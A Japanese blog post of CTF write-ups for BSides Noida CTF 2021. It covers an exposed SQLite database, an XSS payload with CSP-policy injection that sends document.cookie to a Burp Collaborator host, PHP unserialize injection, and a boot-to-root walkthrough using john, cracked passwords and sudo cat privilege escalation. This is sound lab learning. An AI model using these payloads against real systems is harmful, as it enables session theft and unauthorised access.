はまやんはまやんはまやん

hamayanhamayan's blog

BSides Noida CTF 2021 Writeups

CTFtime.org / BSides Noida CTF
解けたやつだけ。

Web

Baby Web

ソースのindex.phpを見ると、db参照していることが分かる。
$this->open('./karma.db');
SQLiteでよくあるdbにそのままアクセスできてしまうアレではないか探ってみると、ダウンロードできる。
http://ctf.babyweb.bsidesnoida.in/karma.db
DB Browser for SQLiteを使って中身を見るとフラグが書いてある。

Basic Notepad

適当にログインして、触ってみるとXSSの問題のようだ。
適当にpayloadを入れてみると、GETリクエストで何やら送られていることが分かる。

msgにはURL safeなBase64デコードで文字が入っている。jsは動いてないな。
tokenはなんだろう。よくわかっていない。
jsが動かない原因を探っていこう。

CSPか。
Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none'; script-src-elem 'none'; report-uri /report/T0r3RdviLu3IronQMXXW0g
defaultがないな。report-uriは試しに踏んだが、存在しなかった。

CSPには死角が無いように見えるが、tokenが差し込まれている部分でCSPのポリシーをinjectionできそうだ。

msgとして<img src=1 onerror="window.location.href='https://oh97z6pmjx5deoubfcrfp7e7pyvpje.burpcollaborator.net?get='+document.cookie">をいれて、
tokenとして、; script-src-attr 'unsafe-inline'をURLエンコードしたものを入れる。
すると、CSPの最後に新たにscript-src-attrポリシーが追加されるので、imgタグのjsコードが動いてくれる。

これを送ると、セッションっぽいのが抜けて、それを使ってログインすれば、フラグが得られる。
GET /?get=auth=YWRtaW46djNyeTUzY3IzdFA0c3N3MHJkZGRk
-> admin:v3ry53cr3tP4ssw0rdddd

wowooo

ソースコードを見ると

PLSSS DONT HACK ME!!!!!!
<!-- debug -->

とあるので、/?debugするとソースコードが見られる。
入力があって、シリアライズされた配列に直接入れこんでunserializeして、2番目の要素を指定の文字列に書き換える。
Injection的なことをするんだろうと推測しながら手元で色々実験してみると、以下のようなコードで配列の要素をうまく差し込めそうな感じがする。

<?php
var_dump(unserialize('a:2:{i:0;s:1:"A";i:1;s:1:"B";}i:2;s:1:"C";}'));

これをやると末尾の無駄な文字列は無視されてarray(2) { [0]=> string(1) "A" [1]=> string(1) "B" }と出る。
";i:1;s:19:"V13tN4m_number_one ";}が答えっぽいが、これではダメ。
コードを使って、デシリアライズ前の文字列を見てみるとa:2:{i:0;s:34:"";i:1;s:19:"V13tN4m_number_one ";}";i:2;s:1:"C";}となっていて、
1要素目が空になっているのに34文字となっている。
確かにコードを見ると、そういう感じになる。

ここで、よくわからないフィルターが役に立つ。
コード長を確認した後にフィルターを使っているので、flagが1つ含まれていれば文字を2文字増やすことができる。
34文字分増えているので、それを帳消しにするには17回flagを入れればいいので、
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}
を入れるとフラグが出てくる。

misc

Psst

圧縮ファイルが与えられて沢山ファイルがある。
適当にファイルを見てみると、フラグが先頭から出てくるような雰囲気になっている。

最適解ではなさそうだが、以下のやり方で採取してきた。シェル芸を勉強するのはちょっと面倒なので、なるべく持ってる知識でやった

  1. find . -type f -exec tail -n+1 {} +でフォルダ内を全部表示
  2. 順番がごちゃごちゃなので、マルチカーソルで番号を文字を取り出してくる
  3. 表計算ソフトでソート
  4. 一行に戻すとフラグ

Death Note

普通にTryHackMeする問題。

ユーザー権限獲得まで

とりあえずnmapすると、21,22,80が空いている。
80を覗いてみるが、特に面白そうなものはない。
FTPでanonymousいけるっぽいので探索してみる。
特に何もないな。wordlistがあるので、80でディレクトリスキャンしてみよう。
/ryuk.applesというのが刺さり、プライベート鍵が公開されている。
johnで解析するとパスワードはl1ght1skir4とのことで、これでログインしよう。
ssh -i ./pri.key ryuk@$IPでパスワード指定するとログインできる。

ルート権限獲得まで

/home/mrgrepを見てみると.sudo_as_admin_successfulという隠しファイルが見つかる。
mrgrepの権限が取れればルート権限まで行けそうだが…?

よく見ると、ryukのホームディレクトリにshadowファイルが置いてある。
ラテラルムーブメントか。
john the ripperと与えられた辞書ファイルを使うと、lightのパスワードが分かる。
MrBS1d3sGrepN0ida@!1337

lightでログインできたので、linpeasを動かしてみる。

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
Matching Defaults entries for light on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User light may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat

catがsudoで動かせるとのこと。
cat | GTFOBins
ここを見ると、好きなファイルを覗き見ることができるようだ。
/home/mrgrep/.bash_historyが怪しいなと思っていたところだったので、この中身を見てみる。
すると/root/root.txtというパスが新たに得られるので、このファイルを同様のテクニックで見てみるとフラグが書いてある。